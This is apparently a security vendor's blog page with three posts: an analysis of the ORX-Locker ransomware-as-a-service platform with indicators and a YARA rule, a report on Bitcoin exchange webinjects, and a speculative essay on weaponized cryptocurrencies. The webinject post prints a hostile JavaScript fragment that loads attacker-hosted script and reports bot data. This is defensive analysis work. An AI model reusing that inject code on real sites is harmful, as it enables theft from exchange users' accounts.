Sharp Rise in Mining-Related Malware on the Russian-speaking Underground

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ORX-Locker – A Darknet Ransomware That Even Your Grandmother Can Use

Written by Ran L. and Mickael S.

The bar for becoming a cyber-criminal has never been so low. Whether buying off-the-shelf malware or writing your own, with a small investment, anyone can make a profit. Now it seems that the bar has been lowered even further with the creation of a new Darknet site that offers Ransomware-as-a-Service (RaaS), titled ORX-Locker.

Ransomware-as-a-Service enables a user with no knowledge or cash to create his own stubs and use them to infect systems. If the victim decides to pay, the ransom goes to the service provider, who takes a percent of the payment and forwards the rest to the user. For cyber-criminals, this is a win-win situation. The user who cannot afford to buy the ransomware or does not have the requisite knowledge can acquire it for free, and the creator gets his ransomware spread without any effort from his side.

This is not the first time we have seen this kind of service. McAfee previously (May, 2015) reported on Tox. While Tox was the first ransomware-as-a-service, it seems that ORX has taken the idea one step further, with AV evasion methods and complex communication techniques, and apparently also using universities and other platforms as its infrastructure.

In the “August 2015 IBM Security IBM X-Force Threat Intelligence Quarterly, 3Q 2015,” published on Monday (August 24, 2015), IBM mentioned TOX while predicting: “This simplicity may spread rapidly to more sophisticated but less common ransomware attack paradigms and lead to off-the-shelf offerings in the cloud.” Just one day later, a post was published on a closed Darknet forum regarding the new ORX-Locker service.

ORX – First Appearance

On August 25, 2015, a user dubbed orxteam published a post regarding the new ransomware service. The message, which was part of his introduction post – a mandatory post every new user has to make to be accepted to the forum – described the new ORX-Locker ransomware as a service platform. In the introduction, the user presented himself as Team ORX, a group that provides private locker software (their name for ransomware) and also ransomware-as-a-service platform.

ORX team introduction post in a closed Darknet hacking forum.
ORX Team introduction post in a closed Darknet hacking forum.

ORX Locker Online Platform

Team ORX has built a Darknet website dedicated to the new public service. To enter the site, new users just need to register. No email or other identification details are required. Upon registration, users have the option to enter a referral username, which will earn them three percent from every payment made to the new user. After logging in, the user can move between five sections:

Home – the welcome screen where you users can see statistics on how much system has been locked by their ransom, how many victims decided to pay, how much they earned and their current balance.

Build EXE – Team ORX has made the process of creating a stub so simple that the only thing a user needs to do is to enter an ID number for his stub (5 digits max) and the ransom price (ORX put a minimum of $75). After that, the user clicks on the Build EXE button and the stub is created and presented in a table with all other stubs previously created by the user.

ORX-Locker Darknet platform, which enables every registered user to build his own ransomware stub.
ORX-Locker Darknet platform, which enables every registered user to build his own ransomware stub.

Stats – This section presents the user with information on systems infected with his stub, including the system OS, how many files have been encrypted, time and date of infection, how much profit has been generated by each system, etc.

Wallet – following a successful infection, the user can withdraw his earnings and transfer them to a Bitcoin address of his choosing.

Support – This section provides general information on the service, including more information on how to build the stub and a mail address (orxsupport@safe-mail[.]net) that users can contact if they require support.

Ransomware

When a user downloads the created stub, he gets a zip file containing the stub, in the form of an “.exe” file. Both the zip and the stub names consist of a random string, 20-characters long. Each file has a different name.

Once executed, the ransomware starts communicating with various IP addresses. The following is a sample from our analysis:

  1. 130[.]75[.]81[.]251 – Leibniz University of Hanover
  2. 130[.]149[.]200[.]12 – Technical University of Berlin
  3. 171[.]25[.]193[.]9 – DFRI (Swedish non-profit and non-party organization working for digital rights)
  4. 199[.]254[.]238[.]52 – Riseup (Riseup provides online communication tools for people and groups working on liberatory social change)

As you can see, some of the addresses are related to universities and others to organizations with various agendas.

Upon activation, the ransomware connects to the official TOR project website and downloads the TOR client. The malware then transmits data over this channel. Using hidden services for communication is a trend that has been adopted by most known ransomware tools in the last year, as was the case of Cryptowall 3.0. In our analysis, the communication was over the standard 9050 port and over 49201.

The final piece would be the encryption of files on the victim’s machine. Unlike other, more “target oriented” ransomware, this particular one locks all files, changing the file ending to .LOCKED and deletes the originals.

When the ransomware finishes encrypting the files, a message will popup announcing that all the files were encrypted, and a payment instruction file will be created on the desktop.

After the ransomware finishes encrypting the files, a message will popup announcing that all the files were encrypted
After the ransomware finishes encrypting the files, a message will popup announcing that all the files were encrypted

In the payment instruction file (.html), the victim receives a unique payment ID and a link to the payment website, located on the onion network (rkcgwcsfwhvuvgli[.]onion). After entering the site using the payment ID, the victim receives another set of instructions in order to complete the payment.

ORX-Locker payment platform which has a dedicated site located on the onion network.
ORX-Locker payment platform, which has a dedicated site located on the onion network.

Finally, although some basic persistence and anti-AV mechanisms are present, the malware still has room to “grow.” We are certain that as its popularity grows, more developments and enhancements will follow.

YARA rule:

rule ORXLocker
{
meta:
author = “SenseCy”
date = “30/08/15”
description = “ORXLocker_yara_rule”

strings:
$string0 = {43 61 6e 27 74 20 63 6f 6d 70 6c 65 74 65 20 53 4f 43 4b 53 34 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 6f 20 25 64 2e 25 64 2e 25 64 2e 25 64 3a 25 64 2e 20 28 25 64 29 2c 20 72 65 71 75 65 73 74 20 72 65 6a 65 63 74 65 64 20 62 65 63 61 75 73 65 20 74 68 65 20 63 6c 69 65 6e 74 20 70 72 6f 67 72 61 6d 20 61 6e 64 20 69 64 65 6e 74 64 20 72 65 70 6f 72 74 20 64 69 66 66 65 72 65 6e 74 20 75 73 65 72 2d 69 64 73 2e}
$string1 = {43 61 6e 27 74 20 63 6f 6d 70 6c 65 74 65 20 53 4f 43 4b 53 35 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 6f 20 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 64 2e 20 28 25 64 29}
$string2 = {53 4f 43 4b 53 35 3a 20 73 65 72 76 65 72 20 72 65 73 6f 6c 76 69 6e 67 20 64 69 73 61 62 6c 65 64 20 66 6f 72 20 68 6f 73 74 6e 61 6d 65 73 20 6f 66 20 6c 65 6e 67 74 68 20 3e 20 32 35 35 20 5b 61 63 74 75 61 6c 20 6c 65 6e 3d 25 7a 75 5d}
$string3 = {50 72 6f 78 79 20 43 4f 4e 4e 45 43 54 20 66 6f 6c 6c 6f 77 65 64 20 62 79 20 25 7a 64 20 62 79 74 65 73 20 6f 66 20 6f 70 61 71 75 65 20 64 61 74 61 2e 20 44 61 74 61 20 69 67 6e 6f 72 65 64 20 28 6b 6e 6f 77 6e 20 62 75 67 20 23 33 39 29}
$string4 = {3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 72 6b 63 67 77 63 73 66 77 68 76 75 76 67 6c 69 2e 74 6f 72 32 77 65 62 2e 6f 72 67 3e 68 74 74 70 73 3a 2f 2f 72 6b 63 67 77 63 73 66 77 68 76 75 76 67 6c 69 2e 74 6f 72 32 77 65 62 2e 6f 72 67 3c 2f 61 3e 3c 62 72 3e}
$string5 = {43 3a 5c 44 65 76 5c 46 69 6e 61 6c 5c 52 65 6c 65 61 73 65 5c 6d 61 69 6e 2e 70 64 62}
$string6 = {2e 3f 41 56 3f 24 62 61 73 69 63 5f 6f 66 73 74 72 65 61 6d 40 44 55 3f 24 63 68 61 72 5f 74 72 61 69 74 73 40 44 40 73 74 64 40 40 40 73 74 64 40 40}
$string7 = {2e 3f 41 56 3f 24 62 61 73 69 63 5f 69 6f 73 40 5f 57 55 3f 24 63 68 61 72 5f 74 72 61 69 74 73 40 5f 57 40 73 74 64 40 40 40 73 74 64 40 40}
$string8 = “ttp://4rhfxsrzmzilheyj.onion/get.php?a=” wide
$string9 = “\\Payment-Instructions.htm” wide

condition:
all of them
}

Bitcoin Exchange Script Injection Vulnerability

Written by Assaf Keren

It is no secret that Bitcoin is under a lot of scrutiny lately.

Bitcoin
Bitcoin

From publicized breaches of Bitcoin trading sites, to wild fluctuations of the its value, the virtual currency that was considered a hot commodity until very recently is floundering. Perhaps the most alarming story demonstrating the instability of this currency is Mount Gox, once the largest Bitcoin exchange in the world. The site first closed, then filed for bankruptcy, and its CEO’s Twitter account was hacked. With all this controversy, the public is left wondering about the future of Bitcoin and  the level of security the exchange site provides. Naturally, hackers have also taken notice and have started looking for breaches on other Bitcoin exchange sites. Alongside the flurry of phishing emails, Bitcoin mining bots and attempts to hack into Bitcon exchange sites, there is a new trend, utilizing the ability of Trojans to hijack http sessions or plain old XSS and CSRF attacks, the attackers are injecting site-specific code to users and then scan for available funds in the user accounts and steal money from the accounts.

Recently, our analysts have come upon four different injection codes, three for Bitcoin exchanges and one for a betting site. All of these are fashioned in the same way,  and are clearly written by the same author.

Below is an excerpt from one of the injections:

S:function(data){
var s = document.createElement(‘script’);
s.type = ‘text/javascript’;
s.async=false;
s.src = “{HERE_ADMIN_URL}/?s=bitcoin&v=2&m=%BOTNET%&b=%BOTID%&t=”+data+”&rnd=”+Math.random();
s.onerror = s.onload = s.onreadystatechange = function(){
if(!this.loaded && (!this.readyState || this.readyState == ‘loaded’ || this.readyState == ‘complete’)){
this.onerror = this.onload = this.onreadystatechange = null;
}
}
if(document.getElementsByTagName(‘head’).length){ document.getElementsByTagName(‘head’)[0].appendChild(s); }else{ document.appendChild(s); }
}

In the continuation of the code, the attackers change the CSS setting of the site, and replace the values of the send-to-address, send-value and the send button elements. All in all, this is a very simple and elegant code that utilizes the context in which it is run.

This is not a new method of attack – it has been widely used in the past and probably will continue to be used in the future. However, it demands a good understanding of how the exchanges work and how they fashion their web services and it is very version-specific. To the exchanges, however, this is bad news since this targeting of the users is something that they have a limited capability to defend against (unlike attacks on their servers).

The process that the exchanges are going through is very similar to what banks and e-commerce services went through when they started providing Internet services. The problem is that banks have the ability, staff and resources (and insurance) to limit transactions and work with customers on fraud cases, while Bitcoin exchanges do not have that kind of capability yet. Even if a specific attack is stopped, we will probably see more and more attacks on Bitcoin (and other currencies) users. This is just one more step in the evolution of crypto-currency to a more mature state.

Weaponization of Cyber Coins – The Next Attack Vector?

Written by Jeremy Jacobson

It’s getting kind of hard to ignore all the buzz surrounding bitcoins these days. The cryptocurrency, which allows users to convene peer-to-peer (P2P) monetary transactions with a significant degree of anonymity, has exploded in value, currently hovering around $900 per bitcoin, leading many to speculate about the long-term viability and implications of cryptocurrencies in general. However, lost amid the debate is serious discussion over the next logical step in the evolution of encrypted P2P currencies: the eventual weaponization of the cyber-coin.

Bitcoin itself has already become a favorite among cyber-criminals. Whether laundering money, selling drugs (remember Silk Road?) or procuring the services of a hit man, the ability to anonymously carry out monetary transactions over the Internet has made online crime both easy and relatively risk free. This, and the fact that at least 2,600 stores accept bitcoins worldwide (as do the Sacremento Kings basketball team) according to Robert J. Samuelson of the Washington Post, has led to the massive inflation in Bitcoin’s value, and has attracted investors looking for an easy payday.

Bitcoin

Like any good idea, Bitcoin has also attracted numerous imitations, which have resulted in cryptocurrencies ranging from the very serious to the Bizarre. For example, Litecoin is a cryptocurrency almost identical to Bitcoin that purports to incorporate three main improvements over the Bitcoin software. In contrast, the Dogecoin plays off the popularity of the “Doge” meme, which was rated 2013’s meme of the year, while the Coinye cryptocurrency uses the likeness of rapper and pop-culture icon Kanye West to market its brand (West’s lawyers are still attempting to shut the coin down). According to Carlotte Lyton of the Daily Beast, there are at least 71 types of crypto currencies out there, some of which are suspiciously reminiscent of the old Wall Street pump-and-dump scheme.

Enter Allahcoin. This P2P Islamic currency offers similar software to Bitcoin, but with a couple of modifications. One new feature is that for every Allahcoin mined, 10% will be donated to the Muslim Brotherhood foundation. This coin not only offers a brand new cryptocurrency, but an easy and anonymous way for users to donate to their favorite Islamist organization!

The Muslim Brotherhood  does not fit the traditional definition of a terrorist organization. However, it may not be long before jihadist groups with ties to the Brotherhood, or similar-minded groups, catch on to the advantages of the nascent crytocurrency technology. Although, like criminals, fundraising and money laundering are the most obvious benefits for such groups, it is possible that terrorists could one day weaponize their own crypto currency.

How would a weaponized cryptocurrency work? It is hard to say exactly, but current abuses of alternative cryptocurrencies may hint at an answer. For instance, some currencies are designed suspiciously similar to pump-and-dump schemes. An attacker could disperse a virus-laced currency in an identical fashion at the investment scheme’s pump phase. After sufficiently spreading the currency, the attacker could activate a trigger, spreading a virus through users’ virtual wallets. Depending on the type of attack, the virus could expose users’ identities, neutralize their virtual wallets, rip off their accounts, or steal information from their networks. In a worst case scenario, terrorists may target tech contractors and infect their computers and online accounts via the currency, thus increasing the possibility of the virus transferring to their clients’ networks (similar to how the Stuxnet virus may have been transferred to an Iranian nuclear facility, according to Ralph Langner writing in Foreign Policy).

Just as P2P file sharing through software such as Limewire and eMule eventually became natural habitats for the spread of viruses, it is likely that cryptocurrencies will one day be weaponized. The question is not if, but when the first attacks will occur, who will be behind them, and how much damage will they cause.